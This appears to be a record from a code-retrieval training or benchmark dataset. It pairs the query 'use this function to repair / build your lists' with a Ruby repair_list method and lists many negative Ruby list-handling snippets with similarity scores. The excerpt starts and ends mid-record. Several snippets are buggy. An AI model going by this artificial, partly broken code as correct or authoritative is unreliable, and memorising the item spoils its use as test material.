chain methods\r\n return self\r\n end", "def remove_front\n temp = @head\n @head.next = nil # This is for memory managment purposes\n @head = temp\n end", "def pop\n current_node = @head\n if current_node.next_node.nil?\n @head.nil?\n else\n while current_node.next_node\n previous = current_node\n current_node = current_node.next_node\n end\n previous.next_node = nil\n end\n end", "def popHead\n \n unless @head.nil?\n \n aux = @head\n unless @head.next.nil?\n \n @head.next.prev = nil\n @head = @head.next\n \n else\n \n @head = nil\n @tail = nil\n \n end\n aux\n \n end\n \n end", "def remove_front\n @head = @head.next if @head\n end", "def remove_front\n @head = @head.next if @head\n end", "def remove_front\n if (@head)\n @head = @head.next\n end\n end", "def remove_next prev_node\n\t\treturn nil unless self.length > 0\n\n unless prev_node\n # remove head.\n self.head = self.head.next\n else\n self.hash.delete(prev_node.next.data)\n if prev_node.next == prev_node\n self.head = nil\n else\n old = prev_node.next\n prev_node.next = prev_node.next&.next\n if (old == self.head)\n self.head = old.next\n end\n end\n end\n\n \tself.length -= 1\n\tend", "def delete(node)\n if node.data == self.head.data\n remove_front\n elsif node.data == self.tail.data\n remove_tail\n else\n current_node = self.head\n prev_node = nil\n\n until current_node.data == node.data\n prev_node = current_node\n current_node = current_node.next\n end\n\n prev_node.next = current_node.next\n current_node.next = nil\n\n return current_node\n end\n end", "def remove_tail\n retval = self.tail\n if self.head == self.tail\n self.head = nil\n self.tail = nil\n return retval\n end\n node = self.head\n until node.next == retval do\n node = node.next\n end\n node.next = nil\n self.tail = node\n return retval\n end", "def remove_front\n self.tail == self.head ? self.head = nil : self.head = self.head.next\n end", "def shift\n return nil if @head.nil?\n node = @head\n @head = @head.next\n return node\n end", "def remove_tail\n if self.head == nil # does nothing to an empty list\n return nil\n end\n \n delete (self.tail) # otherwise, deletes the tail\n end", "def remove_next prev_node\n\t\treturn nil unless self.length > 0\n\n unless prev_node\n # remove head.\n self.head = self.head.next\n else\n if prev_node.next == prev_node\n self.head = nil\n else\n old = prev_node.next\n prev_node.next = prev_node.next&.next\n if (old == self.head)\n self.head = old.next\n end\n end\n end\n\n \tself.length -= 1\n\tend", "def remove_front\n if self.head == self.tail\n remove_tail\n else\n temp = self.head.next\n self.head = nil\n self.head = temp\n end\n end", "def delete_this_node(node)\n node.val = node.next_node.val\n node.next_node = node.next_node.next_node\n return node\nend", "def pop\n return nil if @head.nil? || self.size == 0\n current_node = @head\n prev_node = nil\n (self.size - 1).times do\n prev_node = current_node\n current_node = current_node.next\n end\n current_node = nil\n @tail = prev_node\n end", "def pop\n if size == 1\n @head.next_node = nil\n else\n current = @head.next_node\n previous = @head\n\n while current.next_node != nil\n current = current.next_node \n previous = previous.next_node\n end\n\n previous.next_node = nil\n end\n end", "def pop_head\n\n\t\tif(@head == nil)\n\t\t\treturn nil\n\t\t \telse\n\t\t val= @head\n\t\t node = @head.next\n\t\t @head = node\n\t\t if @head != nil\n\t\t \[email protected] = nil\n\t\t else\n\t\t \t@tail = nil\n\t\t end\n\t\t @sz = @sz -1\n\t\tend\n\n\t\treturn val\n end", "def delete_head\r\n delete_node @head\r\n end", "def shift\n if self.empty\n return nil\n else\n if @tail == @head\n @tail = nil\n @head = nil\n else\n @head = @head.next\n return @head\n end\n end\n end", "def remove_front\n self.head = self.head.next\n if self.head == nil\n self.tail = nil\n end\n end", "def remove_at(index)\n return nil if head.nil?\n\n if index.zero?\n node = head\n @head = head.next\n return node.value\n end\n\n curr = head\n index.downto(2) do |_|\n break if curr.next.nil?\n\n curr = curr.next\n end\n node = curr.next\n node.nil? ? (return nil) : (curr.next = node.next)\n node.value\n end", "def remove_tail\n if self.tail.nil?\n return nil\n elsif self.head.next.nil?\n self.tail = nil\n else\n current_node = self.head\n until current_node.next == self.tail\n current_node = current_node.next\n end\n current_node.next = nil\n self.tail = current_node\n end\n end", "def pop\n if @head.nil?\n 'List is empty'\n else\n current_node = @head\n current_node = current_node.next_node until current_node.next_node.next_node.nil?\n last_node = current_node.next_node\n current_node.next_node = nil\n end\n last_node\n end", "def remove_tail\n if self.head.nil? || self.head.next.nil?\n self.tail = nil\n else\n last_node = self.head\n prev_to_last = nil\n\n until last_node.next.nil?\n prev_to_last = last_node\n last_node = last_node.next\n end\n\n prev_to_last.next = nil\n self.tail = prev_to_last\n return prev_to_last\n end\n end", "def pop()\n \n return nil if @head.nil?\n \n result = @head\n \n @head.next_node.nil? ? @head = nil : @head = @head.next_node \n \n result.val\n end", "def shift_first \n @[email protected]\n @head.prev=nil\n end", "def remove(value)\n\t\t\n\t\tnode = @head\n\t\twhile node.value.sal != value do\n\t\t\tnode = node.next\n\t\tend\n\t\t\n\t\tif node != nil\n\t\t\n\t\t\tif node != @head\n\t\t\t\tnode.prev.next = node.next\n\t\t\telse\n\t\t\t\t@head = node.next\n\t\t\tend\n\n\t\t\tif node != @tail\n\t\t\t\tnode.next.prev = node.prev\n\t\t\telse\n\t\t\t\t@tail = node.prev\n\t\t\tend\n\n\t\t\t@size-=1\n\t\tend\t\t\t\n\t\t\t\t\n\tend", "def pop\n node = @head\n if node.data == nil\n remove = \"\"\n else\n node = node.next_node until node.next_node.next_node.nil?\n remove = node.next_node.data\n node.next_node = nil\n end\n remove\n end", "def delete(node)\n examined_node = @head\n after_examined_node = @head.next\n\n if examined_node == node #to be deleted item is first on the list\n remove_front()\n elsif node == @tail\n remove_tail()\n else\n\n while examined_node != node\n before_examined_node = examined_node\n\n if examined_node.next == nil\n\n else\n\n examined_node = examined_node.next\n end\n after_examined_node = examined_node.next\n\n if examined_node == node\n temp = before_examined_node\n before_examined_node.next = after_examined_node\n end\n end\n end\n end", "def reverse\n\n\t\treturn if @head.nil?\n\n\t\ttemp = self.remove_node\n\t\ttemp.next = nil\n\t\t@last = temp\n\n\t\tuntil @head.nil?\n\n\t\t\tnode = self.remove_node\n\t\t\tnode.next = temp\n\t\t\ttemp = node\n\n\t\tend\n\n\t\t@head = temp\n\n\tend", "def pop\n return nil unless self.length > 0\n \n self.head = self.head.next\n self.tail = nil if self.length == 1\n self.length -= 1\n end", "def delete(node)\n if node == self.head\n remove_front\n elsif node == self.tail\n remove_tail\n else\n last_node = self.head\n current_node = self.head.next\n while current_node != node\n if current_node == self.tail\n return nil\n else\n last_node = current_node\n current_node = current_node.next\n end\n end\n last_node.next = current_node.next\n end\n end", "def remove_node(node) \n case node\n when @tail\n remove_tail\n when @head\n # this is a good candidate for a helper method!\n @head = node.next_node\n @head.prev_node = nil unless @head.nil?\n @tail = @head if @head.nil? || @head.next_node.nil?\n else\n node.prev_node.next_node = node.next_node unless node.prev_node.nil?\n node.next_node.prev_node = node.prev_node unless node.next_node.nil?\n end\n \n node\n end", "def remove(identifier)\n # we want to set the previous next as the current next so that the\n # current is forgotten from the list\n find(identifier) do |previous, current|\n if current == @first_node\n @first_node = current.next\n end\n\n previous.next = current.next\n end\n end", "def pop\n if @head == nil\n return nil\n elsif @tail == @head\n @tail = nil\n @head = nil\n else\n aux = @tail\n @tail = aux.prev\n @tail.next = nil\n return aux\n end\n\n end", "def pop\n\t\tlocation = @head.next_node\n\t\twhile location.next_node.next_node != nil\n\t\t\tlocation = location.next_node\n\t\tend\n\t\tlast = location.next_node\n\t\tlocation.next_node = nil\n\t\treturn last\n\t\tlocation = @head\n\tend", "def pop\r\n return nil if @head == nil\r\n res = @head\r\n @head = @head.next_node\r\n return res.value\r\n end", "def pop\n return nil if head.nil?\n\n curr = head\n if curr.next.nil?\n @head = nil\n return curr\n end\n curr = curr.next until curr.next.next.nil?\n last = curr.next\n curr.next = nil\n last.value\n end", "def delete(node)\n removed = nil\n if node == @head\n removed = @head\n node = @head.next\n @head = node\n elsif node == @tail\n removed = @tail\n current = @head\n until current.next == @tail\n current = current.next\n end\n @tail = current\n @tail.next = nil\n else\n current = @head\n until current.next == node\n current = current.next\n end\n link_1 = current\n until current == node\n current = current.next\n end\n link_2 = current.next\n removed = current\n link_1.next = link_2\n end\n removed\n end", "def pop\n item = @first.val\n @first = @first.next\n @last = nil if(@first == nil)\n @size -= 1\n item\n end" ]
[ "0.77232677", "0.7394622", "0.7327053", "0.7322324", "0.730469", "0.7237489", "0.7228943", "0.7220719", "0.7160315", "0.71064734", "0.70911103", "0.7088415", "0.70429856", "0.70345116", "0.69969636", "0.69936895", "0.6984492", "0.6982301", "0.69277763", "0.6914034", "0.6908215", "0.6879634", "0.68723774", "0.68511015", "0.68497217", "0.68497217", "0.6847122", "0.68215346", "0.6806491", "0.6804363", "0.6786652", "0.6767603", "0.67320096", "0.6719106", "0.6677726", "0.66722935", "0.66525143", "0.6642947", "0.6633085", "0.66016555", "0.65916866", "0.65904295", "0.65844995", "0.6579798", "0.6558972", "0.6558775", "0.6541827", "0.6537885", "0.6515279", "0.65102595", "0.6505204", "0.6500119", "0.6484562", "0.64836854", "0.6481443", "0.6470508", "0.6467537", "0.6456937", "0.64503473", "0.64354926", "0.6404754", "0.63984543", "0.6397717", "0.6397717", "0.638957", "0.6381364", "0.6380288", "0.6380253", "0.63775235", "0.6369712", "0.63645685", "0.6361584", "0.6358499", "0.6354304", "0.63522303", "0.6349432", "0.6330065", "0.6327995", "0.6303235", "0.63030463", "0.63027686", "0.62991065", "0.6296048", "0.6290757", "0.6289653", "0.62880474", "0.6286146", "0.628484", "0.6278729", "0.6275285", "0.62591136", "0.6255563", "0.62534016", "0.6253378", "0.62524694", "0.6243446", "0.62398237", "0.6217432", "0.6215361", "0.62124366" ]
0.6729741
33
use this function to repair / build your lists.
def repair_list(scope={}) return false unless scope.keys.all?{|s| list_options[:scope].include?(s) || s == :order } all({:order => [:position.asc]}.merge(scope)).each_with_index{ |item,i| item.position = i+1; item.save } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def repair_list\n self.class.repair_list(list_scope)\n end", "def repair_list\n model.repair_list(list_scope)\n end", "def safelists; end", "def build_lists\n @callday = [' ','SUNDAY', 'MONDAY', 'TUESDAY', 'WEDNESDAY', 'THURSDAY', 'FRIDAY']\n @callback = [' ', 'SUNDAY', 'MONDAY', 'TUESDAY', 'WEDNESDAY', 'THURSDAY', 'FRIDAY']\n @contact_method = ['CALL', 'EMAIL', 'TEXT']\n @called = ['NO', 'NO ANSWER', 'YES']\n @ordered = [' ', 'NO', 'YES']\n @windows = ['10am - noon', 'noon - 2pm', '2pm - 4pm', '4pm - 6pm']\n @alt_contact = [' ', 'ZINGLE', 'TEXT', 'VOICE MAIL', 'OTHER']\n @rep = []\n reps = []\n\n if @user == 'ADMIN'\n users = User.all\n else\n users = User.where(manager_id: current_user.manager_id.upcase)\n end\n users.each do |u|\n if u.email.upcase != 'ADMIN' && u.email.upcase != 'TECH'\n reps.push(u.email.upcase)\n end\n end\n reps.sort!\n reps.each do |r|\n @rep.push(r)\n end\n reps.unshift(\"ALL\")\n if session[:called_rep].blank?\n if @user == 'ADMIN' || @user == 'TECH'\n session[:called_rep] = reps[1]\n else\n session[:called_rep] = @user\n end\n end\n @reps = []\n i = 1\n @selected_rep = 0\n reps.each do |r|\n select_item = []\n select_item.push(r)\n select_item.push(i)\n @reps.push(select_item)\n if r == session[:called_rep]\n @selected_rep = i\n end\n i += 1\n end\n session[:calllist_reps] = @reps\n\n @isr_list = []\n tempisr = []\n tempisr.push(' ')\n isrlist = IsrList.all\n isrlist.each do |c|\n if c.name && !tempisr.include?(c.name)\n tempisr.push(c.name)\n end\n end\n @isr_list = tempisr.sort\n @isr_user = false\n if @isr_list.include?(@user)\n @isr_user = true\n end\n end", "def resetLists()\n\t`rm -rf outputList.txt`\n\t`rm -rf outputListFinal.txt`\n\t`touch outputList.txt`\n\t`touch outputListFinal.txt`\nend", "def propagate_to_existing_lists\n return @propagate_to_existing_lists\n end", "def safelist; end", "def clean_vehicle_list\n cleaned_list = setup.extract_vehicle_data.drop(8)\n cleaned_list.map { |x| cleaned_list << x unless x.empty? }\n end", "def build_list\n return false\n end", "def prepopulate_list\n\t\tname_list = ['ben', 'bob obobb', 'mary kate', 'kim possible', 'steve-o', 'jill and jack', 'veronica mars', 'danny trejo',\n\t\t 'jon snow', 'mario anluigi', 'ed obannon', 'amy winehouse', 'juan jones', 'walter okiefe', 'fred love']\n\t\tparty_list = ['tea party', 'conservative', 'neutral', 'liberal', 'socialist']\n\t\tjimbo = Human.new \"politician\", 'jimbo jones', 'democrat'\n\t\tgene = Human.new \"politician\", 'gene wilder', 'republican'\n\t\t@people_list << jimbo\n\t\t@people_list << gene\n\n\t\tname_list.map do |name|\n\t\t\trandom_party = party_list.sample\n\t\t\tname = Human.new \"voter\", name, random_party\n\t\t\t@people_list << name\n\t\tend\n\n\tend", "def build_all_listings\n all_listings = []\n @raw_master.each do |listing|\n all_listings << build_listing(listing)\n end\n return all_listings\n end", "def build_all_listings\n all_listings = []\n @raw_master.each do |listing|\n all_listings << build_listing(listing)\n end\n return all_listings\n end", "def build_all_listings\n all_listings = []\n @raw_master.each do |listing|\n all_listings << build_listing(listing)\n end\n return all_listings\n end", "def assemble_list_by_forms(s_list_form,s_list_element_form,\n s_or_ar_of_element_form_blank_values)\n if KIBUVITS_b_DEBUG\n bn=binding()\n kibuvits_typecheck bn, String, s_list_form\n kibuvits_typecheck bn, String, s_list_element_form\n kibuvits_typecheck bn, [Array,String], s_or_ar_of_element_form_blank_values\n end # if\n ar=Kibuvits_ix.normalize2array(s_or_ar_of_element_form_blank_values)\n s_list=\"\"\n s=nil\n s_element_form_blank=nil\n i_arlen=ar.length\n i_arlen.times do |i|\n s_element_form_blank=ar[i]\n s=Kibuvits_cg.fill_form(s_element_form_blank,s_list_element_form)\n s_list=s_list+s\n end # loop\n s_out=Kibuvits_cg.fill_form(s_list,s_list_form)\n return s_out\n end", "def make_new_list\n list = {}\nend", "def safe_list_sanitizer; end", "def safe_list_sanitizer; end", "def safe_list_sanitizer; end", "def propagate_to_existing_lists=(value)\n @propagate_to_existing_lists = value\n end", "def clean_up_arrays\n self.likes.reject! {|l| l.empty? } if self.likes\n self.outdoor_activities.reject! {|l| l.empty? } if self.outdoor_activities\n self.nightlife.reject! {|l| l.empty? } if self.nightlife\n end", "def safe_list_sanitizer=(_arg0); end", "def safe_list_sanitizer=(_arg0); end", "def safe_list_sanitizer=(_arg0); end", "def create_grocery_list(list, item_list)\n items = item_list.split\n items.each do |item|\n list.store(item, 1)\n end\n return list\n print_list(grocery_list)\nend", "def setup_list_items\n all_recs = []\n\n item_attribs = source_class.permitted_params\n list_attribs = list_class.permitted_params\n\n matching_attribs = (list_attribs & item_attribs).map(&:to_s)\n raise(FphsGeneralError, 'no matching attributes') if matching_attribs.empty?\n\n source_class.where(id: new_item_ids).each do |item|\n id = item.id\n if item.attribute_names.include? 'master_id'\n master = item.master\n master.current_user = current_user\n end\n matched_vals = item.attributes.slice(*matching_attribs)\n matched_vals[:record_id] = id\n matched_vals[:record_type] = full_source_type_name\n matched_vals[:master_id] = from_master_id unless list_class.no_master_association\n matched_vals[assoc_attr] = list_id\n new_list_instance = list_class.new(matched_vals)\n new_list_instance.send :write_attribute, :user_id, current_user.id\n all_recs << new_list_instance\n end\n all_recs\n end", "def create_list(items)\n\tnew_list = {}\n\titem_arr = items.split\n\titem_arr.each do |item|\n\t\tadd_item(new_list, item)\n\tend\n\tprint_list(new_list)\n\t\nend", "def reset\r\n #backup\r\n @lists.clear\r\n parse_gemo\r\n end", "def new_list(list_name)\n list_name = {}\nend", "def make_item_list\n end", "def filter_records_and_build_listings(records)\n @category = ''; @wanted = []; @rejected = []; @wanted_rows = []; count = 0; total = records.size\n \n @storage_regex = /(storage)|(stge)|(strge)|(container)|(warehouse)/i\n @truck_regex = /(truck)/i\n @moving_regex = /(moving)|(mover)|(van line)/i\n \n records.each_with_index do |row, i|\n @listing = nil\n # column mappings\n begin\n title = row[0].titleize\n address = (row[2] || '').titleize\n city = (row[3] || '').titleize\n state = row[4]\n zip = row[5].split(/-|\\s/)[0]\n phone = row[6]\n contact_title = row[9]\n contact_first_name = row[7]\n contact_last_name = row[8]\n web_address = row[1]\n sic_description = row[10]\n \n unless Listing.find(:first, :include => :map, :conditions => ['LOWER(listings.title) = ? AND LOWER(maps.address) = ? AND LOWER(maps.city) = ? AND LOWER(maps.state) = ? AND LOWER(maps.zip) = ? AND maps.phone = ?', title.downcase, address.downcase, city.downcase, state.downcase, zip.downcase, phone])\n if sic_description =~ @storage_regex || title =~ @storage_regex\n @category = 'Storage'\n @listing = Listing.new :title => title, :enabled => true, :default_logo => rand(6), :category => @category\n build_listing_features! title, sic_description\n\n elsif sic_description =~ @truck_regex || title =~ @truck_regex\n @category = 'Trucking'\n @listing = Listing.new :title => title, :enabled => true, :category => @category\n\n elsif sic_description =~ @moving_regex || title =~ @moving_regex\n @category = 'Moving'\n @listing = Listing.new :title => title, :enabled => true, :category => @category\n end\n \n if @listing\n @listing.build_map :address => address, :city => city, :state => state, :zip => zip, :phone => phone\n @listing.build_contact :title => contact_title, :first_name => contact_first_name, :last_name => contact_last_name, :phone => phone, :sic_description => sic_description\n \n @wanted << @listing\n @wanted_rows << row\n puts \"Added (#{percent_of(count, total)} done) (#{@category}) #{@listing.title} [#{sic_description}] - #{@listing.city}, #{@listing.state}\"\n else\n @rejected << row\n puts \"Rejected (#{percent_of(count, total)} done): #{title}, Description: #{sic_description}\"\n end\n else\n @rejected << row\n puts \"Already have (#{percent_of(count, total)} done): #{title}, Description: #{sic_description}\"\n end\n \n count += 1\n rescue => e\n puts \"Row #{i} had bad data. Row: #{row.inspect}\\nError: #{e.message}\\nDetails: #{e.inspect}\"\n end\n end\n \n @filtered = { :wanted => @wanted, :rejected => @rejected, :wanted_rows => @wanted_rows }\nend", "def initialize_list(desired_start_items)\n\n arr = desired_start_items.split(' ')\n\n # The each loop will run once for every element in the array.\n arr.each do |item_name|\n add_item(item_name) # this will be updating $list_items\n end\n\n display_list\nend", "def create_list(item_list)\n list_arr = item_list.split(' ')\n\n grocery_list = {}\n\n list_arr.each do |item|\n grocery_list[item] = nil\n end \n grocery_list \nend", "def parse_list; end", "def parse_list; end", "def prep_sorted_lists\n 10.times do |i|\n list1.add(3*i)\n list2.add(5*i)\n end \n list1.print\n list2.print \n end", "def rebuild_detalles\n build_detalles(detalles.map(&:moneda_id))\n end", "def remove_initial_and_format_change \n @reformated_array = []\n array_of_parse_files.each do |info|\n if !info[0].include?(\"|\") && !info[0].include?(\",\")\n info.map! {|element| element.split(\" \")}\n info.each {|element| element.slice!(-4)} \n @reformated_array << info\n elsif info[0].include?(\"|\")\n info.map! {|element| element.split(\" | \")}\n info.each {|element| element.slice!(-4)} \n @reformated_array << info\n else\n @reformated_array << info\n end\n end\nend", "def make_item_list\n @data = $game_party.all_items.select {|item| include?(item)}\n @data.push(nil) if include?(nil)\n end", "def create_list(list_name,list_of_items)\n # create empty array\n list_name = []\n # for each item in string, use add item method to add item to grocery list (set default quantity to 1)\n shopping_items = list_of_items.split(' ')\n shopping_items.each do |thing_to_add|\n add_item_to_list(list_name,thing_to_add,1)\n end\n # print the list to the console\n print_list(list_name)\nend", "def apply_badgings\r\n if @badging_list\r\n @badging_list.map { |badging| badging.save! }\r\n end\r\n end", "def start_special_list(list_type)\n end", "def initialize\n @lists = []\n bootstrap\n populate\n end", "def _ItemsList\n\n _save = self.pos\n while true # choice\n _tmp = apply_with_args(:_UnorderedList, 1)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_OrderedList)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_DefinitionList)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_LongDefinitionList)\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_ItemsList unless _tmp\n return _tmp\n end", "def copy_list \n\n\tend", "def multi_product_file_list_problems(errata)\n return [] unless errata.supports_multiple_product_destinations?\n problems = []\n errata.build_mappings.each do |m|\n mapped = MultiProductMap.mapped_product_versions(m.product_version, m.brew_build.package)\n map_problems = mapped.select do |pv|\n listing = ProductListingCache.find_by_product_version_id_and_brew_build_id(pv, m.brew_build)\n listing.nil? || listing.empty?\n end\n unless map_problems.empty?\n problems << \"Build #{m.brew_build.nvr} has missing product listings for multi-product mapped product versions: \" +\n map_problems.map(&:name).join(', ')\n end\n end\n problems\n end", "def initialize\n @exact = []\n @list = []\n end", "def sync_list(list_type)\n \n #Update account_info \n #TODO make sure this isn't called four times if all lists are syncghronized together\n @account_info = @authenticator.get_account\n\n \n #lists_array is the array that stores the user's lists of the given type\n #For example, @locations\n \n lists_array = self.send(\"#{list_type}s\")\n \n\n #Add any new locations\n new_lists = lists_array.keys.select{|list| list.brand_new}\n \n #TODO rewrite this to use only one API query, if API supports it\n unless new_lists.empty? #Won't be redundant if/when the loop is eliminated\n new_lists.each do |list| \n @authenticator.send(\"add_#{list_type}\", list.json_parsed)\n list.no_longer_new!\n end\n end\n \n #Delete any deleted locations \n\n #Get all the lists that have been deleted locally \n del_lists = lists_array.values.select{|list| list.deleted}\n\n unless del_lists.empty?\n del_lists.each do |list|\n @authenticator.send(\"delete_#{list_type}\", list.json_parsed)}\n lists_array.delete(list.id)\n list.delete!\n list.edit_saved\n end\n end\n \n #TODO delete the lists locally if they have been deleted on the server\n\n #Only fetch from server and do conflict resolution if the last edit on the server was later than the last sync for the list\n \n if self.send(\"lastedit_#{list_type}\") > self.send(\"last_#{list_type}_sync\") \n\n #Get the lists\n lists = @authenticator.send(\"get_#{list}s\")\n\n locally_edited = []\n \n lists.each do |list|\n if not lists_array[list.id]\n #If for some reason we don't have the list locally, store the list locally and move on.\n lists_array[list.id]\n else\n #Otherwise, compare modification times, update local copy when necessary, and resolve editing conflicts\n \n if self.send(\"lastedit_#{list}\") > lists_array[task.id].last_mod\n #The server-stored list was modified more recently than the local task\n #TODO make sure the list object is unique by ID\n \n lists_array[list.id].json_parsed = list.json_parsed\n lists_array[list.id].edit_saved\n else\n #The local list was modified more recently than the server-stored task\n #Assume the local copy is more accurate if the two timestamps are somehow the same\n locally_edited.push(lists_array[task.id])\n @authenticator.send(\"edit_#{list}\", list.json_parsed) unless list.deleted?\n list.edit_saved\n end\n end\n end\n end\n\n\n #TODO will this work if it is not public?\n self.send(\"last#{list_type}_sync=\", Time.now)\n \n #Remove all locally deleted lists of this type\n self.send(\"#{list_type}s=\", lists_array.values.select{|list| not list.deleted})\n\n #All of the lists have now been synchronized since they were last created\n self.send(\"#{list_type}s\").each{|list| list.no_longer_new!}\n end", "def get_custom_list(num_of_items, items_type)\n input_items = [] # stores user-provided items for items_type\n (1..num_of_items).each do |item_num|\n print \" #{item_num}. \"\n user_item = get_user_item_if_valid(items_type, input_items)\n # user_item is 'nil' if user entered an empty String or a duplicate item\n user_item.nil? ? redo : input_items.push(user_item)\n end\n return input_items\nend", "def renumber_lists\n lists.order(\"upper(name) asc\").each_with_index do |list, ndx|\n list.update(number: ndx+1)\n end\n end", "def create_valid(list)\n zip(list).map do |a,r| \n if a.infinite?\n r.map {|i| r ? a.coerce(i) : a.coerce(i.default) }\n else\n r ? a.coerce(r) : a.coerce(a.default) \n end\n end\n end", "def fir_home_setup\n\n # Get all design_review_results with role_id = 31 (fir) and reviewer_id = @logged_in_user\n # \n\n #@design_reviews_firs = get_active_reviews_firs_current_user_fir_role\n @design_reviews_firs = get_active_reviews_firs_all_user_fir_role\n @new_fab_issue = FabIssue.new\n @fab_failure_modes = FabFailureMode.order(\"name\").find_all_by_active(true)\n fab_deliverables = FabDeliverable.order(\"parent_id DESC, id ASC\").find_all_by_active(true) \n @fab_deliverables = {\"Other\" => []}\n \n fab_deliverables.each do |fd| \n # A) if fd parent id not empty then check if its parent is already in hash\n # if not add it then add fd as first item in its array otherwise just add it\n # B) if fd parent id is empty then check if fd item is already used in hash\n # if not then add it to Other\n if !fd.parent_id.nil?\n parent = FabDeliverable.find(fd.parent_id)\n if !@fab_deliverables.has_key?(parent.name)\n @fab_deliverables[parent.name] = []\n end\n @fab_deliverables[parent.name] << [fd.name, fd.id]\n else\n if !@fab_deliverables.has_key?(fd.name)\n @fab_deliverables[\"Other\"] << [fd.name, fd.id]\n end\n end\n end\n\n end", "def preproc_workexperience_list\n res = []\n #@cur_we_only1empl = true # force to true...\n unless @cur_we_only1empl\n cur_workexperience_list.each do |item|\n item.activities = [item.activities]\n res << item\n end\n return res\n end \n #return cur_workexperience_list\n \n employer = {}\n cur_workexperience_list.each do |item|\n det = employer[item.employer]\n det = [] unless det\n det << item\n employer[item.employer] = det\n end\n employer.each do |k,v|\n if v.size == 1\n #v[0].activities = [v[0].activities]\n #v[0].activities.flatten!\n v[0].set_cumulated_activities([v[0].activities])\n res << v[0]\n else\n #p v\n # we have more that one activity pro employer\n # first get date, min and max\n min_date_item = v.min{|a,b| a.date_from <=> b.date_from }\n max_date_item = v.max{|a,b| a.date_to <=> b.date_to }\n pos = []\n aa = v.sort do |a,b| \n if b.is_date_to_now\n 1\n else\n b.date_from <=> a.date_from\n end\n end\n aa.each do |ele|\n #p ele.from.strftime(\"%d.%m.%Y\")\n pos << ele.position.split(',')\n end\n position = arr_word_list(pos)\n \n activities = []\n aa.each do |ele|\n ele.activities\n #p ele.from\n activities << ele.activities\n end\n sect_arr = []\n aa.each do |ele|\n sect_arr << ele.sector.split(',')\n end\n sector = arr_word_list(sect_arr)\n \n wenew = Workexperience.new\n wenew.date_from = min_date_item.date_from\n wenew.date_to = max_date_item.date_to\n wenew.is_date_to_now = max_date_item.is_date_to_now\n wenew.position = position\n wenew.set_cumulated_activities(activities)\n wenew.sector = sector\n wenew.employer = v[0].employer\n res << wenew \n end\n end\n #res.each{|e| p e}\n return res\n end", "def expandEnhance\n litems = Array.new()\n match = 0\n docurl = URI.escape(@url + \"&q=\" + @loanitem.title)\n doc = Nokogiri::XML(open(docurl))\n \tdoc.xpath(\"//record\").each do |bibrec|\n \t if @loanitem.title.gsub(/[^a-zA-Z ]/, '') == bibrec.xpath(\"fields/title\").inner_text.strip.gsub(/[^a-zA-Z ]/, '')\n \t litem = Loanitem.new(bibrec.xpath(\"fields/title\").inner_text.strip,@loanitem.loandate)\n litem.isbn = bibrec.xpath(\"fields/isbn\").inner_text.slice(/(?:ISBN(?:-1[03])?:? )?(?=[-0-9 ]{17}\\b|[-0-9X ]{13}\\b|[0-9X]{10}\\b)(?:97[89][- ]?)?[0-9]{1,5}[- ]?(?:[0-9]+[- ]?){2}[0-9X]/)\n litem.authordesc = bibrec.xpath(\"fields/author\").inner_text\n litem.image = bibrec.xpath(\"coverimageurl\").inner_text\n litem.liburl = \"http://librarycatalogue.warwickshire.gov.uk/ABwarwick/Accessible.ashx?cmd=frec&hreciid=\" + bibrec.attribute(\"extID\")\n litems.push(litem)\n match = 1\n end\n \tend\n \tif match == 0\n litem = Loanitem.new(@loanitem.title,@loanitem.loandate)\n litems.push(litem)\n end\n \n return litems\n end", "def failed_split(*bonds)\n puts \"Ground Truth: #{basic_split(*bonds).inspect}\"\n self.find_internal_adducts unless @adducts\n # binding.pry if bonds.size == 2\n returns = []\n mols = []\n mols2 = []\n product_mols = []\n if bonds.size > 0\n # set apart the adducts\n p delete_and_restore_bonds(*bonds) do |mol|\n mol.ob.separate.map(&:upcast)\n end\n bonds.each do |bond|\n delete_and_restore_bonds(bond) do |mol| \n mols = mol.ob.separate.map(&:upcast)\n puts \"MOLS: #{mols.inspect}\"\n mols = []\n adducts_present = []\n mol.ob.separate.map(&:upcast).map {|a| @adducts.include?(a) ? adducts_present << a : mols << a}\n puts \"MOLS: #{mols.inspect}\"\n product_mols << mols\n end\n end # bonds.each\n puts \"PMOLS: #{product_mols.inspect}\"\n mols\n else\n mols = self.ob.separate.map(&:upcast).delete_if {|a| @adducts.include?(a)}\n mols2 = mols.map(&:dup)\n mols_all = mols.map(&:dup)\n @adducts.map do |adduct|\n #mols2.each {|mol| mol.associate_atom! adduct.atoms.first }\n mols_all.product([adduct]).map {|mol, adduct| mol.associate_atom! adduct.atoms.first }\n mols2.product([adduct]).map {|mol, adduct| mol.associate_atom! adduct.atoms.first }\n end\n# p mols3\n# p mols_all\n# puts \"+\"*50\n# p mols2 != mols\n products = mols2 != mols ? mols.product(mols2) : [mols]\n # p products\n products.delete_if do |set|\n puts \"set: #{set}\"\n set.last.ob.separate.map(&:upcast).include?(set.first)\n puts \"set: #{set}\"\n end\n # p products\n #binding.pry\n #puts \"adduct_added: #{adduct_added.inspect}\"\n # Right now, I'm making the response sets of matched pairs, even if they have adducts... which they should?\n # Is there a better way to feed these back?\n #adduct_added.empty? ? mols : mols.flatten.sort_by(&:mol_wt).reverse.zip(adduct_added.sort_by(&:mol_wt))\n #products.first.is_a?(Array) ? products.flatten : products\n products\n end\n end", "def clean_all\n [@vc_primary, @vc_complement, @hc_between_strands].collect { |a| a.delete(nil); a.uniq!; a.sort! }\n end", "def break_out_of_lists(block)\n b = block\n last_list = nil\n while (b) do\n last_list = b if b.type == 'List'\n b = b.parent;\n end\n\n if (last_list)\n while (block != last_list) do\n finalize(block, @line_number);\n block = block.parent;\n end\n finalize(last_list, @line_number);\n @tip = last_list.parent;\n end\n end", "def set_custom_pool_lists pool, men_lists, women_lists, zero_index = true\n pool.men.each_with_index do |m,i|\n row = men_lists[i].map { |j| pool.women[j + (zero_index ? 0 : -1)] }\n m.pref_list = PreferenceList.new row\n end\n pool.women.each_with_index do |w,i|\n row = women_lists[i].map { |j| pool.men[j + (zero_index ? 0 : -1)] }\n w.pref_list = PreferenceList.new row\n end\n end", "def repaint\n # we need to see if structure changed then regenerate @list\n _list()\n super\n end", "def create_list\n list = {} \nend", "def add_to_listbooks\n self.isbn.each do |isbn|\n book = Listbook.find_or_create_by(isbn: isbn)\n self.listbooks << book unless self.listbooks.include? book\n book.save!\n end\n self.pinned_isbn.each do |isbn|\n book = 